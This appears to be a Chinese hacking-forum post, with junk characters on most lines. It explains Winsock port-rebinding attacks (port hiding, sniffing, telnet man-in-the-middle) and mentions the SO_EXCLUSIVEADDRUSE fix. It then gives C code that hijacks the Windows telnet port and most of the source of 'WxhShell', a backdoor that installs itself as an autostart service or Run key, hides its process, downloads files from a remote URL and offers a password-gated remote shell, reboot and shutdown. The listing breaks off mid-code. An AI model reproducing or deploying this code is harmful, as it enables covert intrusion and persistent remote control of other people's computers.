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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o8c4h<,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /pni_-l*  
9`eu&n@Z  
  saddr.sin_family = AF_INET; ;2 -%IA,  
;L(2Ffk8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [h20y  
-E_lwK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ` MtI>x c  
;(AVZxCM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wd&Tf R4!  
ew8f7S[  
  这意味着什么?意味着可以进行如下的攻击: udYk 6  
+Zgh[a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R: 8\z0"L*  
S?n,O+q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jt5en;AA[  
dHjJLs_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WBdC}S }3t  
k!-(Qfz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uBp"YX9rx  
ea!_/Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,q$'hYTaJ  
i|A0G%m]$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x%HX0= (  
CPGiKE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5lehASBz  
Fy_D[g  
  #include kpFt  
  #include vqDd][n  
  #include ";\na!MT  
  #include    5{ ?J5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {z:aZ]QhKc  
  int main() T;jy2|mLo  
  { *V}T}nK7  
  WORD wVersionRequested; M{:}.H<a  
  DWORD ret; _)AX/%^%  
  WSADATA wsaData; ##Jg>HL'  
  BOOL val; xfYDjf :<  
  SOCKADDR_IN saddr; Bo.< 4P  
  SOCKADDR_IN scaddr; znm3b8ns  
  int err; RQ}0f5~t  
  SOCKET s; 6Ap-J~4  
  SOCKET sc; kOi@QLdN  
  int caddsize; Hg<d%7.  
  HANDLE mt; VnqgN  
  DWORD tid;   _Ec9g^I10  
  wVersionRequested = MAKEWORD( 2, 2 ); 4 XSEN ]F  
  err = WSAStartup( wVersionRequested, &wsaData ); Y#[jDS(ip  
  if ( err != 0 ) { Qf0]7  
  printf("error!WSAStartup failed!\n"); 701ei;   
  return -1; "`;$wA  
  } ;VVKn=X=S=  
  saddr.sin_family = AF_INET; :5`=9 _|  
   3 sUTdCnNf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f'501MJu  
T \d-r#{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a B(_ZX'L  
  saddr.sin_port = htons(23); 4#jW}4C{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P_Rh& gkuK  
  { O2z{>\  
  printf("error!socket failed!\n"); z^;0{q,  
  return -1; }.bhsy  
  } h0i/ v  
  val = TRUE; @ Gxnrh6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KY}c}*0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @K{1O|V  
  { %#5yC|o9Pn  
  printf("error!setsockopt failed!\n"); tkQ#mipAj  
  return -1; SvE3E$*  
  } !$}:4}56F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <UI^~Azc#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |]s/NNU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9eG{"0)  
s.VtmAH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l-?B1gd,l  
  { ]mO$Tg&s~  
  ret=GetLastError(); X9ua&T2(l  
  printf("error!bind failed!\n"); }.+{M.[}  
  return -1; $Sz@u"ig%  
  } fjD/<`}v  
  listen(s,2); YVSAYv_ZG}  
  while(1) ~< ~PaP$=\  
  { s @AGU/v  
  caddsize = sizeof(scaddr); ^g^R[8  
  //接受连接请求 "gaurr3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HP/f`8  
  if(sc!=INVALID_SOCKET) 'IVNqfC)u  
  { u`K)dH,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q.xt%`@aA  
  if(mt==NULL) ~8fy qE$  
  { H] i.\2z  
  printf("Thread Creat Failed!\n"); OAlV7cfD  
  break; t(d$v_*y51  
  } g7Xjo )  
  } DcjF $E  
  CloseHandle(mt); |AgdD  
  } j%_{tB  
  closesocket(s); ?%)G%2  
  WSACleanup(); yH YqJ|t  
  return 0; `;X~$uS  
  }   _SVIY@K|/  
  DWORD WINAPI ClientThread(LPVOID lpParam) O $ p  
  { 'aj97b;lpG  
  SOCKET ss = (SOCKET)lpParam; mI$<+S1!  
  SOCKET sc; "#<P--E9  
  unsigned char buf[4096]; #RfNk;kaA  
  SOCKADDR_IN saddr; cJp:0'd  
  long num; 2kG(\+\  
  DWORD val; I%4)%  
  DWORD ret; nYA@t=t0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vIMLUL0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |->P|1 P  
  saddr.sin_family = AF_INET; `Mg&s*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8:D|[u;iG  
  saddr.sin_port = htons(23); `1O<UJX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 397IbZ\  
  { l*l?aI  
  printf("error!socket failed!\n"); >VnBWa<j3  
  return -1; Hj\iI p  
  } \:7G1_o  
  val = 100; n:TWZ.9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -MA/:EB  
  { 9V]{q  
  ret = GetLastError(); Vn7FbaO^  
  return -1; E2hy%y9Tp  
  } NA=I7I@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CO%o.j=1  
  { 6!QY)H^j9,  
  ret = GetLastError(); /=y _ #l  
  return -1; ( vO\h8  
  } @^O+ulLJ,]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }KEL{VUX  
  { 2cnyq$4k  
  printf("error!socket connect failed!\n"); `<cn b!]  
  closesocket(sc); [wLK*9@&  
  closesocket(ss); S)n+E\c  
  return -1; `jI$>{oa  
  } 'MWu2L!F  
  while(1) XWuHH;~*L  
  { VLL CdZ%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w!GPPW(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )qbjX{GZ7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -gq,^j5,  
  num = recv(ss,buf,4096,0); |(evDS5  
  if(num>0) F]fBFDk  
  send(sc,buf,num,0); .m;5s45O{  
  else if(num==0) G C#s;X  
  break; #8{U0 7]"  
  num = recv(sc,buf,4096,0); [9-&Lq_ g  
  if(num>0) w$`[C+L  
  send(ss,buf,num,0); ],?$&  
  else if(num==0) 3RbPc8($Y  
  break; neLQ>WT L  
  } ^KlW"2:  
  closesocket(ss); yJ0q)x sS  
  closesocket(sc); J*%XtRio  
  return 0 ; 8.Z9 i  
  } ;z Qrree#  
o@5zf{-  
btG+Ak+K*  
========================================================== #?3oGrS Y  
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下边附上一个代码,,WXhSHELL '{-7%>`bn  
;A\SbLM  
========================================================== "/#=8_f  
.)Wqo7/Gx  
#include "stdafx.h" bJWPr  
4?u<i=i  
#include <stdio.h> }Dc7'GZ  
#include <string.h> w>TlM*3D/  
#include <windows.h> ]b+Nsr~  
#include <winsock2.h> Szb#:C  
#include <winsvc.h> SNUq  
#include <urlmon.h> ua8Burl7  
V_Xq&!HN[  
#pragma comment (lib, "Ws2_32.lib") ?l/$cO  
#pragma comment (lib, "urlmon.lib") X+$IaLfCxD  
mne?r3d  
#define MAX_USER   100 // 最大客户端连接数 #X`qkW.T<  
#define BUF_SOCK   200 // sock buffer d#W>"Cqxqa  
#define KEY_BUFF   255 // 输入 buffer wG-lR,glb  
S^z t>  
#define REBOOT     0   // 重启 p~evPTHnrX  
#define SHUTDOWN   1   // 关机 \46 'j.  
xIb"8,N  
#define DEF_PORT   5000 // 监听端口 ->u}b?aF  
U;q GUqI  
#define REG_LEN     16   // 注册表键长度 v>!tws5e  
#define SVC_LEN     80   // NT服务名长度 {gkY:$xnrG  
9sId2py]W  
// 从dll定义API Z`jSpgWR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VUQx"R9-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "3Lq/mJYnZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OMz_xm.UPi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QI WfGVc-  
EyK F5TP0  
// wxhshell配置信息 Ia%S=xU{=  
struct WSCFG { 0;/},B[A  
  int ws_port;         // 监听端口 -|WQs'%O  
  char ws_passstr[REG_LEN]; // 口令 '[zy%<2sL  
  int ws_autoins;       // 安装标记, 1=yes 0=no VZ1u/O?ub  
  char ws_regname[REG_LEN]; // 注册表键名 fgW>~m.W  
  char ws_svcname[REG_LEN]; // 服务名 Yp@i{$IUW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `iQ9 9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [+2iwfD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D\LXjEm e.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P:QSr8K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <?E~Qc t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oe_*(q&  
R\MFh!6sn  
}; gc[BP>tl\  
=}xH6^It  
// default Wxhshell configuration py':UQS*q  
struct WSCFG wscfg={DEF_PORT, qHf8z;lc  
    "xuhuanlingzhe", y7@q]~%  
    1, of<(4<T  
    "Wxhshell", lWRRB&8  
    "Wxhshell", F4|U\,g  
            "WxhShell Service", U^~jB= =]  
    "Wrsky Windows CmdShell Service", N_Q\+x}zq  
    "Please Input Your Password: ", ]N4?*S*jd)  
  1, JIh:IR(ta  
  "http://www.wrsky.com/wxhshell.exe", ?Mj@;O9>'  
  "Wxhshell.exe" 6)#=@i` \  
    }; [6}>?  
F&6Xo]?  
// 消息定义模块 bL 9XQ:$C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4RDdfY\%u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U:+wt}-T"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y$K[@_dv=  
char *msg_ws_ext="\n\rExit."; SLi?E  
char *msg_ws_end="\n\rQuit."; .DN)ck:e;  
char *msg_ws_boot="\n\rReboot..."; zv>7;En3  
char *msg_ws_poff="\n\rShutdown..."; _I<LB0kgf.  
char *msg_ws_down="\n\rSave to "; Ef"M e(  
/s|4aro  
char *msg_ws_err="\n\rErr!"; +)U>mm,  
char *msg_ws_ok="\n\rOK!"; --BS/L-  
0~GtK8^B  
char ExeFile[MAX_PATH]; LmjzH@3  
int nUser = 0; ;cfmMt!QWJ  
HANDLE handles[MAX_USER]; 6JUjT]S%  
int OsIsNt; W*jwf@ 0  
4lsg%b6_%,  
SERVICE_STATUS       serviceStatus; 3?Tk[m1b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Dqg~g|(Q<  
G\ m`{jv  
// 函数声明 i8+[-mh  
int Install(void); T^1]|P  
int Uninstall(void); 1J?x2  
int DownloadFile(char *sURL, SOCKET wsh); 89+Q^79m  
int Boot(int flag); eUZvJTE  
void HideProc(void); Z+M* z;  
int GetOsVer(void); {<#~Ya-  
int Wxhshell(SOCKET wsl); >[&Zs3>  
void TalkWithClient(void *cs); 0$1-5XY9  
int CmdShell(SOCKET sock); dHJ#xmE!pP  
int StartFromService(void); *)0-N!N#)  
int StartWxhshell(LPSTR lpCmdLine); J<27w3bs~p  
ITr@;@}c]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 6-Sw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g|V md  
HTw7l]]  
// 数据结构和表定义 kY.3x# w  
SERVICE_TABLE_ENTRY DispatchTable[] = *c{X\!YBh  
{ # *)X+*  
{wscfg.ws_svcname, NTServiceMain}, :}{,u6\  
{NULL, NULL} @q<F_'7is  
}; m |%ly  
l/:23\  
// 自我安装 TD6MP9L  
int Install(void) )DwHLaLW  
{ @yxF/eeEy+  
  char svExeFile[MAX_PATH]; /^^wHW:  
  HKEY key; R8n/QCeY{  
  strcpy(svExeFile,ExeFile); 0fP-[7P  
60Szn]z'8[  
// 如果是win9x系统,修改注册表设为自启动 j _p|>f<}  
if(!OsIsNt) { 2PVtyV3;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &vHfuM`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $CP_oEb  
  RegCloseKey(key); , HHCgN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KXvBJA$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ReZ&SNJ  
  RegCloseKey(key); ZgH(,g,TU  
  return 0; RM `zxFn  
    } dVe  
  } r.#"he_6!.  
} _+NM<o#A  
else { YfZ96C[a  
f>kW\uC  
// 如果是NT以上系统,安装为系统服务 i?D KKjN$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CF0i72ul5  
if (schSCManager!=0) jp|1S^b  
{ +u|p<z  
  SC_HANDLE schService = CreateService Im<(  
  ( rQM$lJ[x  
  schSCManager, ,[{Z_co  
  wscfg.ws_svcname, FdFN4{<QZ  
  wscfg.ws_svcdisp, |xX>AMZc)D  
  SERVICE_ALL_ACCESS, 3S h#7"K3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aZBb@~Y  
  SERVICE_AUTO_START, 4b<>gpQ  
  SERVICE_ERROR_NORMAL, o|O|e9m(  
  svExeFile, ,'c?^ $J|z  
  NULL, iciw 54;4  
  NULL, [r f.&  
  NULL, -ttH{SslM  
  NULL, 9:1[4o)~  
  NULL ~ u',Way  
  ); Tn"/EO^N  
  if (schService!=0) lk`,s  
  { c D0-g=&  
  CloseServiceHandle(schService); F* h\#?  
  CloseServiceHandle(schSCManager); l0GsY.~,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O;m@fS2%3  
  strcat(svExeFile,wscfg.ws_svcname); D g~L"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +:jx{*}jo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _zF*S]9 X  
  RegCloseKey(key); Pt^SlX^MM  
  return 0; zEN3N n.8  
    } w(-h!d51+  
  } 1Bhd-  
  CloseServiceHandle(schSCManager); q[Ed6FM$~  
} c3]X#Qa#m$  
} j| X>:!4r  
Exu>%  
return 1; uFl19  
} DSX.84  
6l,oL'$}P1  
// 自我卸载 %UnL,V9)  
int Uninstall(void) )Z qY`by!  
{ gt Vnn]Jh  
  HKEY key; 6tKCY(#oO+  
>jH%n(TcC  
if(!OsIsNt) { h-+GS%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~f5g\n;  
  RegDeleteValue(key,wscfg.ws_regname); 'vc>uY  
  RegCloseKey(key); W< sa6,$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { M&Vh]  
  RegDeleteValue(key,wscfg.ws_regname); "2 "gTS  
  RegCloseKey(key); ;(I')[R "  
  return 0; EnD }|9  
  }  5i|DJ6  
} r< ~pSj  
} '7;b+Vbl#  
else { ZA{T0:  
h =E)5&Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B;=-h(E}vJ  
if (schSCManager!=0) zC<k4[.  
{ Lw_s'QNWR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !gbPxfH:6  
  if (schService!=0) qOM"?av  
  { *s1^s;LR  
  if(DeleteService(schService)!=0) { BfUM+RC%5  
  CloseServiceHandle(schService); >.4mAO  
  CloseServiceHandle(schSCManager); \!Cc[n(f#  
  return 0; !eE;MaS>  
  } ?vn9HhTD  
  CloseServiceHandle(schService); U?.cbB,  
  } Oll,;{<O  
  CloseServiceHandle(schSCManager); TP R$oO2  
} f:hsE  
} wR]jJb F  
?CU6RC n  
return 1; Ww)p&don  
} yDe6f(D  
r)xkpa5  
// 从指定url下载文件 +$y%H  
int DownloadFile(char *sURL, SOCKET wsh) Tt\h#E  
{ "J (0J  
  HRESULT hr; p;0p!~F=49  
char seps[]= "/"; tkj QSz  
char *token; &Ay[mZQ 7  
char *file; 97 eEqI$#  
char myURL[MAX_PATH]; vj,OX~|  
char myFILE[MAX_PATH]; *3Qwmom  
oQ:.pq{T  
strcpy(myURL,sURL); su\iUi  
  token=strtok(myURL,seps); ;%W]b  
  while(token!=NULL) INjr$'*  
  { 8;\  
    file=token; m]Gxep0%  
  token=strtok(NULL,seps); ewrs D'?  
  } qr<RMs  
kVeR{i<*(  
GetCurrentDirectory(MAX_PATH,myFILE); jRGslak;  
strcat(myFILE, "\\"); XV %DhR=  
strcat(myFILE, file); |9'`;4W  
  send(wsh,myFILE,strlen(myFILE),0); kfj)`x  
send(wsh,"...",3,0);  oo4aw1d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :/<SJ({q  
  if(hr==S_OK) Q}6!t$Vk  
return 0; 1O,:fTG<  
else oqUF_kh  
return 1; ;U)xZ _Ew~  
3Z%~WE;I  
} qEJ#ce]G  
!!:mjq<0  
// 系统电源模块 J1UG},-h  
int Boot(int flag) iKM!>Fi  
{ #AO?<L  
  HANDLE hToken; 0(|Yy/Yq  
  TOKEN_PRIVILEGES tkp; rHaj~s 4  
*'to#_n&W  
  if(OsIsNt) { ic;M=dsh:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OC=g 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fPBJ%SZ  
    tkp.PrivilegeCount = 1; Uu_Es{@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ Cd#\D|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }5]2tH${  
if(flag==REBOOT) { uEui{_2$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {$xt.<  
  return 0; N(Sc!rX  
} +oevNM  
else { slTE.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q/#p ol  
  return 0; J:Idt}@z  
} N}gPf i  
  } Q&]f9j_  
  else { -qqI @+u+  
if(flag==REBOOT) { G0~6A@>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4H4ui&|7u6  
  return 0; 7z;X@+O}s  
} 3ZUME\U  
else { J~.`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lx\9Y8  
  return 0; q5xF~SQGw2  
} Us2IeR  
} >r\q6f#J4  
`F`{s`E)  
return 1; Bw/8-:eb  
} g^: & Dh  
|R&cQKaQ`  
// win9x进程隐藏模块 !rsGCw!Pg  
void HideProc(void) `nrw[M?  
{ J!\oH%FJp  
XY^]nm-{I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eXQLE]L]  
  if ( hKernel != NULL ) |i\%> Y,  
  { + l hJ8&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lG5KZ[/Or  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '\M]$`Et  
    FreeLibrary(hKernel); 5=_bK^Am  
  } Tx>V$+al  
8I[=iU7]l  
return; Ef$a&*)PH  
} FD al;T  
Ggk#>O G  
// 获取操作系统版本 `0, G' F  
int GetOsVer(void) XR_Gsb%l  
{ E?- ~*T  
  OSVERSIONINFO winfo; HA74s':FN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0[])wl  
  GetVersionEx(&winfo); 4<V}A j8l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |*$0~mA  
  return 1; oy-y Q YX  
  else H/U.Bg 4  
  return 0; v\o m  
} ezb*tN!  
R-YNg  
// 客户端句柄模块 A<_{7F9  
int Wxhshell(SOCKET wsl) <?>tjCg'  
{ o~7D=d?R  
  SOCKET wsh; Rt>mAU$}  
  struct sockaddr_in client; goe %'k,  
  DWORD myID; .*edaDi  
+ib&6IU  
  while(nUser<MAX_USER) (q@%eor&}  
{ hg2Ywzfm-  
  int nSize=sizeof(client); I0*N "07n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X-*LA*xbN  
  if(wsh==INVALID_SOCKET) return 1; fjCFJ_  
d$^ @$E2f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y* :C~  
if(handles[nUser]==0) U@9v(TfV  
  closesocket(wsh); &F:%y(;{Y  
else jO-T1P']Y  
  nUser++; @ZRg9M:N  
  } DwGRv:&HH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vmg[/#  
nC(Lr,(  
  return 0; 2@W`OW Njm  
} y+p"5s"  
D#P]tt.Z   
// 关闭 socket tOX -vQ  
void CloseIt(SOCKET wsh) ,xg-H6Xfa{  
{ T|,/C|L  
closesocket(wsh); .W\JvPTC  
nUser--; +%H=+fJ2}  
ExitThread(0); x_t$*  
} ^ WF_IH&  
P?^%i  
// 客户端请求句柄 !mmSF1f  
void TalkWithClient(void *cs) nDcH;_<;9a  
{ h$mGaw vZ~  
PhAD: A  
  SOCKET wsh=(SOCKET)cs; {#~A `crO  
  char pwd[SVC_LEN]; -<L5;  
  char cmd[KEY_BUFF]; G5%k.IRz  
char chr[1]; _0BQnzC=  
int i,j; 2}XxRJ0   
c/^l2CJ0  
  while (nUser < MAX_USER) { 4 |bu= T  
Y9I|s{~  
if(wscfg.ws_passstr) { h^v#?3.@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ii# +JY0k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H_,4N_hL  
  //ZeroMemory(pwd,KEY_BUFF); B2Rpd &[  
      i=0; fw VI%0C@  
  while(i<SVC_LEN) { "!_vQ^y  
!1%Sf.`!_  
  // 设置超时 I5)$M{#a  
  fd_set FdRead; B" _Xst  
  struct timeval TimeOut; '14 86q@[$  
  FD_ZERO(&FdRead); v,Zoy|Lu  
  FD_SET(wsh,&FdRead); [kTckZv  
  TimeOut.tv_sec=8; S=W^iA6>  
  TimeOut.tv_usec=0; X,c`,B03  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "_2;+@+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M)U)Sc zHO  
(>,b5g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >6Jz=N,  
  pwd=chr[0]; %mIdQQ,  
  if(chr[0]==0xd || chr[0]==0xa) { u@P1`E1Q  
  pwd=0; 9R">l5u  
  break; 4 L 5$=V  
  } JP(0/?Q  
  i++; | #b/EA9  
    } qQIX:HWDKZ  
8)M WC:  
  // 如果是非法用户,关闭 socket !@*= b1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ty:{e]e  
} =f23lA  
JNT|h zV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _h`4`r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZmycK:f  
GvvKM=1  
while(1) { 9-vQn/O^D  
9Fw NX  
  ZeroMemory(cmd,KEY_BUFF); [:}"MdU'  
UkXa mGoy3  
      // 自动支持客户端 telnet标准   e+<|  
  j=0; ktRGl>J  
  while(j<KEY_BUFF) { _k;HhLj`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2G<XA  
  cmd[j]=chr[0]; Sn^M[}we  
  if(chr[0]==0xa || chr[0]==0xd) { t BG 9Mn  
  cmd[j]=0; ;JMmr-@  
  break; cnRgzj<ek  
  } fdHFSnQ g  
  j++; ~]`U)Aw  
    } \j-:5M#m  
Sx (E'?]  
  // 下载文件 |qwx3 hQ?  
  if(strstr(cmd,"http://")) { f@$kK?c?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d'H gek{T  
  if(DownloadFile(cmd,wsh)) gX$gUB) x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xJnN95`R@  
  else ;.rY`<|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JStEOQF4  
  } ^.  
  else { CJDNS21m  
uRYq.`v,  
    switch(cmd[0]) { 5iI(A'R[7  
  j,SZJ{ebXg  
  // 帮助 yqtaQ0F~  
  case '?': { a8G<x <  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AX'-}5T=  
    break; L "'d(MD  
  } X<pNc6  
  // 安装 5sj$XA?5  
  case 'i': { =;F7h @:  
    if(Install()) FD~ U F;VQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ed{sC[j=  
    else C rl:v8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Q/\w1-Q  
    break; 7Ka4?@bQ  
    } 6#.9T;&  
  // 卸载 H<;~u:;8Q  
  case 'r': { ]m7x&N2  
    if(Uninstall()) [ wnaF|h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]=]MJ3_7  
    else ykH@kv Qt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9'e<{mlM  
    break; +EqL|  
    } 0%Y}CDn_  
  // 显示 wxhshell 所在路径 }f% Qk0^  
  case 'p': { [d-Y1  
    char svExeFile[MAX_PATH]; g:!R't?  
    strcpy(svExeFile,"\n\r"); e\f\CMb  
      strcat(svExeFile,ExeFile); &Vu-*?  
        send(wsh,svExeFile,strlen(svExeFile),0); PfB9 .f{  
    break; *~*"p)`<  
    } |5&7;;$  
  // 重启 tfh`gUV 4  
  case 'b': { 8rFP*K9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }n#$p{e$i  
    if(Boot(REBOOT)) =Zsxl]h   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3`RI[%AN~  
    else { G )`gn  
    closesocket(wsh); 3+ 2&9mm  
    ExitThread(0); wehiX7y  
    } Twr,O;*u=  
    break; rW_cLdh]#  
    } %$Xt1ub6(  
  // 关机 A/fM30  
